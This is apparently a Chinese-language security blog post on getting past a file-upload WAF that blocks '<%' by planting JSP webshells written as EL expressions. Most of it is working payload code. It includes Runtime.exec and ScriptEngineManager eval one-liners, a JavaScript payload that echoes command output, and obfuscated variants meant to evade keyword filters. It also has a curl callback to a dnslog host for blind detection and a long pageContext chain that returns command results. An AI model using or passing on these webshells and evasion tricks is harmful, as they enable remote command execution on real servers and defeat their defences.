问题来源
一个文件上传点有waf
只要存在<%就会被拦截,从上传文件可以看到h1标签被解析了
绕过思考
无回显
jsp中可以使用el表达式
所以我们可以使用和el表达式注入一样的方法构造webshell
//无回显
${Runtime.getRuntime().exec(param.cmd)}
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("javascript").eval(param.aef1)}
在jspstudy中可以看到是正常解析并且执行命令了
目标上传上去确实一片空白
有回显利用方式
//使用js脚本引擎回显执行
${''.getClass().forName(param.aef).newInstance().getEngineByName("javascript").eval(param.aef1)}
其实就是表达式不同而已
aef1=var s = [3];s[0] = "cmd";s[1] = "/c";s[2] = "whoami";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");var result = sc.hasNext() ? sc.next() : "";sc.close();result;
混淆
el 表达式中还是会出现 Runtime、ScriptEngineManager 等关键词,即使使用反射也还一定会有 forName 的函数名的出现,可能会被关键词命中。 其实在 el 表达式中,是可以类似 js 一样,使用 a["b"]
或者 a.b
这两种方法来获取属性的,如果把函数名或者属性变成字符串,那去混淆就简单多了,比如
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("javascript").eval(param.aef1)}
变换成
${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"](param.aef1)}
其中每一个字符串都可以使用 param.xxx
的参数来替换,或者使用 el 表达式进行拼接转换,比如
${""["get"+="Class"]()[param.a](param.b)[param.c]()["getEngineByName"]("JavaScript")["eval"](param.aef1)}
简要原理
EL表达式多用于JSP,官方给出的El表达式的example:
https://javaee.github.io/tutorial/jsf-el007.html
EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便开发者能够获取到上下文变量。
基础的EL表达式可参考文章:
https://www.tutorialspoint.com/jsp/jsp_expression_language.htm
在EL表达式中,要做到执行Runtime#exec并不难,只需要一行表达式:
运行Runtime#exec
在EL表达式中,要做到执行Runtime#exec并不难,只需要一行表达式:
${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}
可这样子只能做基本的检测和盲打,如果目标不出网或不知道网站绝对路径时,将不方便EL进行探测
写普通的Java代码的话,我们知道可以使用inputStream()来获取Runtime#exec的输出,然后打印出来,如下:
try {
InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
Thread.sleep(300); //睡0.3秒等InputStream的IO,不然`availableLenth`会是0
int availableLenth = inputStream.available();
byte[] resByte = new byte[availableLenth];
inputStream.read(resByte);
String resString = new String(resByte);
System.out.println(resString);
} catch (Exception e) {
e.printStackTrace();
}
不过EL表达式的实现其实是由中间件(Tomcat)进行解析,然后反射调用的。所以实际上写EL表达式只能写函数调用,不能在EL表达式中写诸如 new String();、int a; 这些操作 但正常函数调用是能用的,比如本节开头执行Runtime#exec的表达式。
EL表达式中有许多隐式对象,如pageContext,可以通过这个对象保存属性,如
故我们可以
- 使用pageContext保存Runtime#exec的inputStream
- inputStream#read会将命令执行结果输入到一个byte[]变量中,但EL表达式不能直接创建变量。得想办法找到一个存在byte[]类型变量的对象,借用该对象的byte[]作为inputStream#read的参数
- 使用反射创建一个String,并将第2步的byte[]存入这个String中
- 输出该String
最终效果
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}